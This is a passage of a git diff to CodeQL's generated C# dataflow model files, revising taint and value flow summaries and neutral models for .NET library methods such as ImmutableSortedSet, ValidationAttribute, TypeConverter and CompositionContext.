"value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Except", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Intersect", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Except", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Intersect", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].Element", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "TryGetValue", "(T,T)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "Argument[1]", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "WithComparer", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "WithComparer", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "get_KeyComparer", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "get_Max", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "get_Min", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "ReturnValue", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.ComponentModel.DataAnnotations.model.yml b/csharp/ql/lib/ext/generated/System.ComponentModel.DataAnnotations.model.yml index 0f0a170673bf..8e33abdec25b 100644 --- a/csharp/ql/lib/ext/generated/System.ComponentModel.DataAnnotations.model.yml +++ b/csharp/ql/lib/ext/generated/System.ComponentModel.DataAnnotations.model.yml @@ -47,10 +47,15 @@ extensions: - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", False, "get_ControlParameters", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", False, "get_PresentationLayer", "()", "", "Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer]", "ReturnValue", "value", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", False, "get_UIHint", "()", "", "Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint]", "ReturnValue", "value", "dfc-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "GetValidationResult", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "Validate", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "Validate", "(System.Object,System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "ValidationAttribute", "(System.Func)", "", "Argument[0]", "Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.ValidationAttribute._errorMessageResourceAccessor]", "value", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "get_ErrorMessageString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", True, "FormatErrorMessage", "(System.String)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", True, "FormatErrorMessage", "(System.String)", "", "Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString]", "ReturnValue", "taint", "dfc-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", True, "IsValid", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", True, "IsValid", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationContext", False, "InitializeServiceProvider", "(System.Func)", "", "Argument[0]", "Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.ValidationContext._serviceProvider]", "value", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationContext", False, "ValidationContext", "(System.Object,System.IServiceProvider,System.Collections.Generic.IDictionary)", "", "Argument[0]", "Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationContext.ObjectInstance]", "value", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationContext", False, "get_Items", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -66,26 +71,20 @@ extensions: pack: codeql/csharp-all extensible: neutralModel data: - - ["System.ComponentModel.DataAnnotations", "AllowedValuesAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AllowedValuesAttribute", "get_Values", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociatedMetadataTypeTypeDescriptionProvider", "AssociatedMetadataTypeTypeDescriptionProvider", "(System.Type)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociatedMetadataTypeTypeDescriptionProvider", "AssociatedMetadataTypeTypeDescriptionProvider", "(System.Type,System.Type)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociationAttribute", "get_Name", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociationAttribute", "get_OtherKey", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociationAttribute", "get_ThisKey", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "Base64StringAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CompareAttribute", "get_OtherProperty", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CompareAttribute", "get_RequiresValidationContext", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "CreditCardAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "CustomValidationAttribute", "IsValid", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CustomValidationAttribute", "get_Method", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CustomValidationAttribute", "get_RequiresValidationContext", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CustomValidationAttribute", "get_ValidatorType", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DataTypeAttribute", "DataTypeAttribute", "(System.ComponentModel.DataAnnotations.DataType)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "DataTypeAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DataTypeAttribute", "get_CustomDataType", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DataTypeAttribute", "get_DataType", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "DeniedValuesAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DeniedValuesAttribute", "get_Values", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DisplayColumnAttribute", "DisplayColumnAttribute", "(System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DisplayColumnAttribute", "DisplayColumnAttribute", "(System.String,System.String)", "summary", "df-generated"] @@ -94,52 +93,35 @@ extensions: - ["System.ComponentModel.DataAnnotations", "DisplayColumnAttribute", "get_SortDescending", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "EditableAttribute", "EditableAttribute", "(System.Boolean)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "EditableAttribute", "get_AllowEdit", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "EmailAddressAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "EnumDataTypeAttribute", "EnumDataTypeAttribute", "(System.Type)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "EnumDataTypeAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "EnumDataTypeAttribute", "get_EnumType", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "FileExtensionsAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "FilterUIHintAttribute", "Equals", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "FilterUIHintAttribute", "FilterUIHintAttribute", "(System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "FilterUIHintAttribute", "FilterUIHintAttribute", "(System.String,System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "FilterUIHintAttribute", "GetHashCode", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "IValidatableObject", "Validate", "(System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "LengthAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "LengthAttribute", "LengthAttribute", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "LengthAttribute", "get_MaximumLength", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "LengthAttribute", "get_MinimumLength", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "MaxLengthAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MaxLengthAttribute", "MaxLengthAttribute", "(System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MaxLengthAttribute", "get_Length", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MetadataTypeAttribute", "MetadataTypeAttribute", "(System.Type)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MetadataTypeAttribute", "get_MetadataClassType", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "MinLengthAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MinLengthAttribute", "MinLengthAttribute", "(System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MinLengthAttribute", "get_Length", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "PhoneAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "RangeAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RangeAttribute", "RangeAttribute", "(System.Double,System.Double)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RangeAttribute", "RangeAttribute", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RangeAttribute", "get_OperandType", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "RegularExpressionAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RegularExpressionAttribute", "get_MatchTimeout", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RegularExpressionAttribute", "get_Pattern", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "RequiredAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ScaffoldColumnAttribute", "ScaffoldColumnAttribute", "(System.Boolean)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ScaffoldColumnAttribute", "get_Scaffold", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "StringLengthAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "StringLengthAttribute", "StringLengthAttribute", "(System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "StringLengthAttribute", "get_MaximumLength", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", "Equals", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", "GetHashCode", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", "UIHintAttribute", "(System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", "UIHintAttribute", "(System.String,System.String)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "UrlAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "GetValidationResult", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "IsValid", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "Validate", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "Validate", "(System.Object,System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "ValidationAttribute", "(System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "get_RequiresValidationContext", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationContext", "ValidationContext", "(System.Object)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.ComponentModel.model.yml b/csharp/ql/lib/ext/generated/System.ComponentModel.model.yml index 59baa48911d4..0cbe069a76e5 100644 --- a/csharp/ql/lib/ext/generated/System.ComponentModel.model.yml +++ b/csharp/ql/lib/ext/generated/System.ComponentModel.model.yml @@ -195,16 +195,17 @@ extensions: - ["System.ComponentModel", "TypeConverter", False, "ConvertFromString", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.String)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertFromString", "(System.ComponentModel.ITypeDescriptorContext,System.String)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertFromString", "(System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertTo", "(System.Object,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertTo", "(System.Object,System.Type)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertTo", "(System.Object,System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.Object)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.Object)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object)", "", "Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator]", "ReturnValue", "taint", "dfc-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.Object)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.Object)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "GetProperties", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "GetProperties", "(System.Object)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -215,6 +216,7 @@ extensions: - ["System.ComponentModel", "TypeConverter", True, "ConvertFrom", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.ComponentModel", "TypeConverter", True, "ConvertTo", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type)", "", "Argument[2].Element", "ReturnValue", "taint", "dfc-generated"] - ["System.ComponentModel", "TypeConverter", True, "ConvertTo", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["System.ComponentModel", "TypeConverter", True, "ConvertTo", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", True, "GetProperties", "(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[])", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverter", True, "GetStandardValues", "(System.ComponentModel.ITypeDescriptorContext)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverterAttribute", False, "TypeConverterAttribute", "(System.String)", "", "Argument[0]", "Argument[this].Property[System.ComponentModel.TypeConverterAttribute.ConverterTypeName]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml b/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml index 06563c58f57e..84581c913cb6 100644 --- a/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml +++ b/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml @@ -47,7 +47,7 @@ extensions: - ["System.Composition.Hosting.Core", "ExportDescriptorProvider", True, "GetExportDescriptors", "(System.Composition.Hosting.Core.CompositionContract,System.Composition.Hosting.Core.DependencyAccessor)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Composition.Hosting.Core", "ExportDescriptorProvider", True, "GetExportDescriptors", "(System.Composition.Hosting.Core.CompositionContract,System.Composition.Hosting.Core.DependencyAccessor)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition.Hosting.Core", "LifetimeContext", False, "AddBoundInstance", "(System.IDisposable)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Composition.Hosting.Core", "LifetimeContext", False, "FindContextWithin", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Composition.Hosting.Core", "LifetimeContext", False, "FindContextWithin", "(System.String)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Composition.Hosting.Core", "LifetimeContext", False, "GetOrCreate", "(System.Int32,System.Composition.Hosting.Core.CompositionOperation,System.Composition.Hosting.Core.CompositeActivator)", "", "Argument[1]", "Argument[2].Parameter[1]", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "LifetimeContext", False, "GetOrCreate", "(System.Int32,System.Composition.Hosting.Core.CompositionOperation,System.Composition.Hosting.Core.CompositeActivator)", "", "Argument[2].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "LifetimeContext", False, "GetOrCreate", "(System.Int32,System.Composition.Hosting.Core.CompositionOperation,System.Composition.Hosting.Core.CompositeActivator)", "", "Argument[this]", "Argument[2].Parameter[0]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Composition.model.yml b/csharp/ql/lib/ext/generated/System.Composition.model.yml index a9f25ed2b819..609189a7f3b0 100644 --- a/csharp/ql/lib/ext/generated/System.Composition.model.yml +++ b/csharp/ql/lib/ext/generated/System.Composition.model.yml @@ -4,20 +4,21 @@ extensions: pack: codeql/csharp-all extensible: summaryModel data: - - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Composition.Hosting.Core.CompositionContract)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Type,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "GetExport", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "GetExport", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Composition.Hosting.Core.CompositionContract)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Type)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Type,System.String)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "(System.String)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "(System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "(System.Type,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.String,System.Object)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.String,TExport)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(TExport)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.Object)", "", "Argument[this]", "Argument[1]", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.String,System.Object)", "", "Argument[this]", "Argument[2]", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.String,TExport)", "", "Argument[this]", "Argument[1]", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(TExport)", "", "Argument[this]", "Argument[0]", "value", "df-generated"] - ["System.Composition", "CompositionContext", True, "TryGetExport", "(System.Composition.Hosting.Core.CompositionContract,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", True, "TryGetExport", "(System.Composition.Hosting.Core.CompositionContract,System.Object)", "", "Argument[this]", "Argument[1]", "value", "df-generated"] - ["System.Composition", "Export", False, "Export", "(T,System.Action)", "", "Argument[0]", "Argument[this].Property[System.Composition.Export`1.Value]", "value", "dfc-generated"] - ["System.Composition", "ExportAttribute", False, "ExportAttribute", "(System.String,System.Type)", "", "Argument[0]", "Argument[this].Property[System.Composition.ExportAttribute.ContractName]", "value", "dfc-generated"] - ["System.Composition", "ExportFactory", False, "ExportFactory", "(System.Func>,TMetadata)", "", "Argument[1]", "Argument[this].Property[System.Composition.ExportFactory`2.Metadata]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Data.Odbc.model.yml b/csharp/ql/lib/ext/generated/System.Data.Odbc.model.yml index 2467fde764c9..84dfc60ba317 100644 --- a/csharp/ql/lib/ext/generated/System.Data.Odbc.model.yml +++ b/csharp/ql/lib/ext/generated/System.Data.Odbc.model.yml @@ -49,7 +49,7 @@ extensions: - ["System.Data.Odbc", "OdbcParameter", False, "ToString", "()", "", "Argument[this].Property[System.Data.Odbc.OdbcParameter.ParameterName]", "ReturnValue", "value", "dfc-generated"] - ["System.Data.Odbc", "OdbcParameter", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Data.Odbc.OdbcParameter._parameterName]", "ReturnValue", "value", "dfc-generated"] - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - 